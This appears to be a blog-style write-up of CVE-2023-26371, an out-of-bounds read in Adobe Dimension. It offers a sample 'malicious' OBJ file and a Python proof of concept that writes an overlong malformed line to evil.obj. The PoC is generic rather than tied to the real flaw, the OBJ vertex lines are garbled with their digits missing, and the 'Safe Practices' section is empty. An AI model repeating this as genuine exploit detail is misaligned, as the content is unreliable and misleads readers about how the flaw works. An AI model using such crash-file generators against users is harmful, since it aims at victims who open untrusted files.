CVE-2023-26371 - Out-of-Bounds Read Vulnerability in Adobe Dimension (3.4.8 and Earlier) – Analysis, Exploit Details, and Code Sample

Adobe Dimension is widely used for creating 3D objects, photos, and designs. But, like many complex software products, it's not immune to security flaws. In this post, we’ll dive into CVE-2023-26371—a vulnerability that could allow attackers to execute malicious code by tricking a user into opening a specially crafted file. If you use Adobe Dimension (version 3.4.8 or earlier), this is essential reading.

What is CVE-2023-26371?

CVE-2023-26371 describes an Out-of-Bounds Read vulnerability in Adobe Dimension 3.4.8 and earlier. When the application parses a malformed (malicious) file, poorly handled memory management allows attackers to read memory past the end of the intended buffer. This can lead to further exploitation, including remote code execution (RCE) in the context of the victim’s user account.

Vendor Advisory:  
- Adobe Security Bulletin APSB23-21  
- NIST NVD Entry

How Is It Exploited?

An attacker first crafts a malicious Dimension file—most likely a .dn or supported 3D model file (such as .obj). They send this file to a target via email, file sharing, or embedded in a download. The exploit is only successful if the victim opens this file in Adobe Dimension.

The Vulnerability in Layman’s Terms

Dimension processes files by loading them into memory and parsing their structure. If a file’s internal data is malformed—but not properly validated by Dimension—parsing routines can accidentally read memory beyond the end of these data structures (i.e., “out-of-bounds”). If the attacker controls the file content, they may further manipulate these reads, potentially allowing additional memory corruption or code execution.

Let’s simulate a simple malicious .obj file (a common format supported by Dimension)

# Malicious OBJ file for exploit demonstration
v . . .
v 1. . .
v . 1. .
f 1 2 3
# overlong and malformed line below triggers parser error
vn . . 
vn .  # malformed normal vector, missing values and line end
# attacker may append binary/hex garbage here to disrupt buffer parsing

In a real exploit, the attacker thoroughly crafts the file structure, possibly using extra binary data, malformed headers, or missing fields so that internal parsing code of Dimension overruns a buffer and reads memory contents that could be leveraged or manipulated.

Exploit Code Snippet (Proof of Concept)

The following Python code demonstrates how an attacker might generate a malformed OBJ file. It doesn’t directly execute code but is a proof of concept to cause a crash via out-of-bounds read:

# PoC for CVE-2023-26371: Generate malformed OBJ file

MALICIOUS_OBJ = '''
# Normal header
v . . .
v 1. . .
v . 1. .
f 1 2 3

# Unexpected, overly long line to abuse parser buffer
vn {} # Malformed normal vector
'''.format(' '.join(['123456789'] * 100))  # Overlong line

with open("evil.obj", "w") as f:
    f.write(MALICIOUS_OBJ)

print("Malicious OBJ file written as evil.obj")

When opened in an unpatched Adobe Dimension, “evil.obj” may crash the application or could (if further exploited) enable code execution.

Severity and Impact

- CVSS Score: 7.8 HIGH (per NIST NVD)

Mitigation and Fix

1. Update Now:  
If you use Adobe Dimension, install the latest update (version after 3.4.8). Adobe fixed this issue and actively advises users to update.

2. Safe Practices:

References

- Adobe Security Bulletin APSB23-21
- National Vulnerability Database Entry
- Adobe Dimension Product Page

Final Thoughts

CVE-2023-26371 is a classic example of why file parsing is a dangerous part of any software application. Attackers are constantly finding ways to abuse subtle bugs in memory handling—emphasizing the importance of fast patching and cautious file handling. If you use Adobe Dimension, keep your software updated and never trust files from strangers.

Timeline

Published on: 04/12/2023 20:15:00 UTC
Last modified on: 04/14/2023 03:42:00 UTC